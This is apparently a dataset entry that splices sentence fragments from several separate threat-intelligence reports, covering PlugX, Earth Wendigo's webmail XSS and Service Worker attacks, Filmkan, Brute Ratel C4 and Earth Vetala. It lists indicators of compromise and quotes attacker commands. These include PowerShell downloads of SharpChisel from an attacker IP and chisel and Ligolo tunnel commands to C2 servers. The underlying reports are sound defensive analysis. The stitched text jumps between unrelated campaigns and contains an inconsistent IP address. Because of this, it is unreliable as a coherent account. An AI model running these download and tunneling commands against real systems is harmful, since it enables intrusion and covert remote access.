mrmoor/cyber-threat-intelligence huggingface dataset:
We were able to uncover multiple additional samples exploiting the same technique as well as an additional Google Code account with multiple projects containing encoded commands.
The attacks against Palo Alto Networks customers, which took place between early June to early July, also targeted users in East Asia; in this case an international law firm’s regional office and a major university.
All of the attacks were detected by our WildFire platform.
Of note, three of the Google Code projects associated with the newly uncovered account were added during the past few days, indicating it is still in active use.  Below is a current screenshot of the newly uncovered Google Code account’s projects.
The encoded commands decode to the below IP addresses.
Interestingly, “/p/pthon”, which is the project page used by some of the newly discovered samples detailed later in this blog, is the only page with the encoded command not included in the summary and is instead in text only on the page itself.
Table 1  We discovered a total of seven samples, five of which were not in VirusTotal prior to our submission.
Table 2 contains details of a PlugX sample using the PixelPlus Co., Ltd certificate that is currently only detected by four AV vendors.
Interestingly, the IP resolved by the initial website hosting the PlugX malware also served as a C2 server for different malware in mid-December 2013 (MD5: ddd46ce5e5eaaa8e61ce11a121a79266).
The PlugX sample in Table 3 also uses the legitimate PixelPlus Co., Ltd certificate and was also targeted against the university.
It is correctly identified by eleven AV vendors as PlugX malware.
The registrant information associated with the website hosting the malware is a domain reseller.
We were able to uncover an additional two samples using the QTI International Inc certificate and Google Code pages.
Only three AV vendors correctly identified it as PlugX malware.
Table 4  The second sample using the QTI International Inc certificate also uses IP 211.233.89.182 for C2 but does not first connect to a Google Code page and is not PlugX.
Of note, the PlugX sample in Table 8 uses a different certificate but was downloaded from the same website.
It also uses the Google Code page “/p/tempzz” for C2, which was also listed in FireEye’s blog.
The website hosting the malware was registered 4 June 2014 via eNom, a well-known domain name registrar.
Our team was able to further uncover three new samples using the Ssanyong Motor Co., Ltd certificate and Google Code C2 redirection.
The PlugX sample in Table 4 used the same Google Code page and redirect, but the QTI International Inc certificate.
The below PlugX sample was only detected as PlugX malware by two AV vendors.
The PlugX sample in Table 7 also targeted the same university as all previous samples.
Eight AV vendors correctly identified it.
It was downloaded from the same website as the sample in Table 5; however, it was targeted against an international law firm’s East Asian office, and uses a Google Code page identified in FireEye’s blog for C2, but an IP not listed in the blog post.
Additional investigation shows that the threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.
However, this is a separate series of attacks from their operation in Taiwan, which this report covers.
The attack flow of Earth Wendigo’s operation      Figure 2.
An example of a spear-phishing email sent by Earth Wendigo to a democracy activist.
The attack begins with a spear-phishing email that is appended with obfuscated JavaScript.
Appending their malicious script to the victim’s email signature to propagate the infection to their contacts.
Exploiting a webmail system’s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently.
The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above.
After the attackers gain a foothold into the system — either through XSS injection or Service Worker — the next (and final part) of the attack chain, the exfiltration of the mailbox, is initiated.
The victim will receive a spear-phishing email disguised as an advertisement with a discount coupon from an online shopping website — however, an obfuscated malicious JavaScript is embedded inside.
The email leverages the webmail system’s search suggestion function to trigger the webpage to execute their script instead of directly running the malicious script.
Figure 3. The spear-phishing email disguised as an advertisement for a shopping coupon      Figure 4.
However, these emails don’t look like phishing emails and seemed more like real email sent from normal users within the same organization.
Further investigation revealed that the attacker had modified the victims’ email signatures through malicious code injection.
We think the threat actor used this approach to attempt to infect the victim’s contacts for further propagation.
Figure 5. Malicious script appended on the victim’s email signature      Figure 6.
As soon as the user executes the malicious script in the email, a cookie stealer script will be delivered and launched on the browser.
The framework used to deliver and manage these XSS attack scripts is called “XSSER.ME” or “XSS Framework.” The stolen session keys and browser cookies are also sent to the framework to store in the database.   While a stolen session key may allow the attacker to log into their target’s webmail system without a password, note that this is not the Earth Wendigo operation's ultimate goal.       Figure 7.
The actor prepared two different infection methods.
The first involves injecting malicious code into the webpage via an XSS vulnerability on the webmail system.
The vulnerability, which exists inside the webmail system’s shortcut feature, allows users to create links on the webmail front page.
The attacker can add a shortcut with a crafted payload by exploiting the XSS vulnerability, which replaces part of the original script from the webmail system with malicious JavaScript code.
We have reported the vulnerability to the company that developed the webmail system, which informed us that the vulnerability had been fixed since January 2020.
A shortcut containing malicious code that was added to the webmail system      Figure 9.
The query format used to trigger the XSS vulnerability     Service Worker script exploitation
By examining one of the malicious scripts from the Earth Wendigo campaign, we discovered that it uploaded the tampered Service Worker script to the webmail server disguised as an original script provided by the server.
It then registers the uploaded script to the user’s Service Worker before removing it from the server immediately after registration.
For requests sent to “/cgi-bin/start,” which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim.
This new page is almost similar to the original wrapper but injected with a script element meant to load malicious script from Earth Wendigo’s server.
Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background.
We found that the returned script is a backdoor that gets its instructions from the WebSocket server.
The email exfiltration flow with WebSocket backdoor      Figure 14.
The script used to establish WebSocket communication      Figure 15.
Additional Findings
Besides their attack on webmail servers, we also found multiple malware variants used by Earth Wendigo.
However, we don’t know what code they delivered because the server was already down when we were verifying the malware variants.
The Python script decompiled from the malware
While Earth Wendigo uses typical spear-phishing techniques to initiate their attack, the threat actor also uses many atypical techniques to infiltrate the targeted organizations, such as the use of mail signature manipulation and Service Worker infection.
The impact of spear-phishing attacks can be minimized by following security best practices, which include refraining from opening emails sent by suspicious sources.
To avoid XSS attacks similar to what we described in this report, we recommend adapting Contant-Security-Policy (CSP) for websites.
Based on the number of “likes” the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware.
Filmkan is very flexible, giving it more capability than simple interaction with social networks.
Our WildFire analysis cloud first picked up samples of this malware on January 22 and thus far we’ve collected 44 distinct samples the display the behavior described by Faghani.
After a few seconds the video tells the user they need to download an update for Flash player, which is the initial dropper executable.
The Filmkan dropper has a Flash icon to help make it appear as a legitimate update.  The author of Filmkan created the dropper using AutoHotkey (AHK), a legitimate tool for creating Windows applications using a custom scripting language.
Chrome extensions  allow developers to extend Google’s Chrome browser, typically by adding new functionality.
The current version of the script contains three primary functions.
When Faghani first published his analysis this component of the malware was forcing the user’s Facebook account to “like” specific posts on a community page titled Sabır.
Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.
Organizations should block access to the following domains to prevent Filmkan from receiving updates from the attacker.
The Bash Uploader script allows its customers to send code coverage reports to the Codecov platform for analysis.
Organizations using Codecov’s Bash Uploader script, or one of the other impacted tools should carefully evaluate their exposure to this threat.
This post is also available in:      日本語 (Japanese)  Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics.
The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market.
Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.
This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications.
Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking.
We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.  Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.
Update Badger_x64.exe
At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India.
That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.”  However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.”
In terms of features, BRc4 advertises the following capabilities:
The file in VirusTotal named Roshan_CV.iso (SHA256: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan.
It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka.
The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).
Figure 9 is a screenshot of the default Windows File Explorer; “show hidden files” is not checked.
In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.
Figure 10 shows how the ISOs would appear when show hidden files” is enabled for viewing.
The flow of execution is the following:  Roshan_CV.ISO→Roshan-Bandar_CV_Dialog.LNK→cmd.exe→OneDriveUpdater.exe→version.dll→OneDrive.Update  Decret.ISO→Decret.LNK→cmd.exe→HPScan.exe→version.dll→HPScanApi.dll
The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.  While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.
Version.dll is a modified version of a legitimate Microsoft file written in C++.
The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:  The technique outlined above uses process injection via undocumented Windows NTAPI calls.
The decrypted payload is now running within the runtimebroker.exe memory space.
The following is a snippet of code from version.dll that starts the execution of the in-memory decrypted payload.
The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header.
When finished, the code performs the following.
This data includes the encrypted configuration settings for Brute Ratel C4.
The 16-byte RC4 decryption key is: bYXJm/3#M?:XyMBF
The decrypted configuration file is:  Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.]251 and port of 443.
The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:
Once the SSL handshake to IP 174.129.157[.]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.
Example of badger_x64.exe:
In this case, the sample is configured to communicate with IP 159.65.186[.]50 on TCP port 443.
After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.
Coincidentally, this happens to be one day after the ​​Roshan_CV.ISO file was uploaded.
As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443.
Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above.
Evaluating netflow connections for 159.65.186[.]50 during this time window revealed several connections to ports 22, 443 and 8060 originating from a Ukrainian IP (213.200.56[.]105).
A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445.
Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico.
Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.
Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.
Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.
The "Brute Ratel C4 Tool Command and Control Traffic Detections" signature is threat ID 86647.
We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.  Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
This impersonation does not imply a vulnerability in Microsoft’s products or services.  Brute Ratel C4 ISO Samples:  1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C  X64 Brute Ratel C4 Windows Kernel Module:  31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069  APT29 ISO Samples:  F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46
X64 Brute Ratel C4 Samples:  3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611 EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6 D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B  Malicious DLLs:  EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669  Malicious Encrypted Payloads:  B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E  X.509 Cert SHA1s:  55684a30a47476fce5b42cbd59add4b0fbc776a3 66aab897e33b3e4d940c51eba8d07f5605d5b275  Infrastructure linked to X.509 Certs or Samples:  104.6.92[.]229 137.184.199[.]17 138.68.50[.]218 138.68.58[.]43 139.162.195[.]169 139.180.187[.]179 147.182.247[.]103 149.154.100[.]151 15.206.84[.]52 159.223.49[.]16 159.65.186[.]50 162.216.240[.]61 172.105.102[.]247 172.81.62[.]82 174.129.157[.]251 178.79.143[.]149 178.79.168[.]110 178.79.172[.]35 18.133.26[.]247 18.130.233[.]249 18.217.179[.]8 18.236.92[.]31 185.138.164[.]112 194.29.186[.]67 194.87.70[.]14 213.168.249[.]232 3.110.56[.]219 3.133.7[.]69 31.184.198[.]83 34.195.122[.]225 34.243.172[.]90 35.170.243[.]216 45.144.225[.]3 45.76.155[.]71 45.79.36[.]192 52.48.51[.]67 52.90.228[.]203 54.229.102[.]30 54.90.137[.]213 89.100.107[.]65 92.255.85[.]173 92.255.85[.]44 94.130.130[.]43 ds.windowsupdate.eu[.]org  Hunting for APT29 Spear Phishing Using XDR - Palo Alto Networks Blog Cozy Smuggled Into The Box: APT29 Abusing Legitimate Software For Targeted Operations In Europe Trello From the Other Side: Tracking APT29 Phishing Campaigns New sophisticated email-based attack from NOBELIUM  Updated July 6, 2022, at 9:30 a.m. PT.
We believe (with moderate confidence) that this newly identified activity is connected to MuddyWater (also known as TEMP.Zagros, Static Kitten, Seedworm).
This campaign uses the following legitimate remote admin tools such as:  ScreenConnect RemoteUtilities  We have named this intrusion set Earth Vetala.
Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package.
The threat actors would then initiate communications with additional command-and-control (C&C) infrastructure to execute obfuscated PowerShell scripts.
Earth Vetala historically targets countries in the Middle East.
The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool.
During this campaign, threat actors used post-exploitation tools to dump passwords, tunnel their C&C communication using open-source tools, and use additional C&C infrastructure to establish a persistent presence within targeted hosts and environments.
Figure 1. Phishing Email with the embedded URL      The email attempts to convince recipients to click the URL and download a malicious file.
The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used.
Otherwise, the TTPs in use remain broadly similar.
RemoteUtilities Analysis
When the RemoteUtilities software is executed, its process launches msiexec.exe with the following command:
RemoteUtilities Installation     The MSI installer installs a service on the victim machine called Remote Utilities – Host:      Figure 5.
Remote Utilities Service     The service then communicates with the domain id.remoteutilities.com, which belongs to RemoteUtilities.
This feature allows an intermediary Internet server to broker the connection, similar to a proxy server.
Figure 6. id-server connection
They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf)
As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39.
cmd.exe net user /domain
The command above allows the attacker to get all the users from the domain controller.
The next command executed is the following: powershell.exe -exec bypass -w 1 -file a.ps1
This is a command to execute a PowerShell script of some kind.
However, we did not have access to the a.ps1 file.
The next command issued is the following: powershell.exe iwr -uri http://87.236.212[.]184/SharpChisel.exe -outfile c:\programdata\SharpChisel.exe -usebasicparsing
The command is connected to 187.236.212[.]184 and downloads a file called SharpChisel.exe (SHA256: 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2) and saves the file to the C:\programdata directory.
The name SharpChisel may be related to the purpose of this file, which is a C# wrapper for a tunneling tool called chisel.
The above IP address is geolocated to a server in Iran.
The following command then configures SharpChisel: C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999
Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.]184:443 R:8888:127.0.0.1:9999
A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command: C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 r:8888:127.0.0.1:9999 It is then configured with the following command line PowerShell command: powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 R:8888:127.0.0.1:9999
We believe that the threat actor was unable to configure SharpChisel to work correctly.
That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility.
LIGOLO execution example
This was done using two separate commands: C:\programdate\1.exe -relayserver 87.236.212[.]184:5555  C:\users\public\new.exe -relayserver 87.236.212[.]184:5555
We then see the threat actor again attempting to use SharpChisel several times using the following command: C:\programdata\SharpChisel.exe  client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999  powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 R:8888:127.0.0.1:9999
We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools.
The following PowerShell command was used for this: powershell.exe iwr -uri hxxp://87.236.212[.]184/out1 -outfile c:\users\public\out1.exe -usebasicparsing
Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable.
We then decompiled the python executable using pyinstxtractor.py to get all of the Python bytecode files.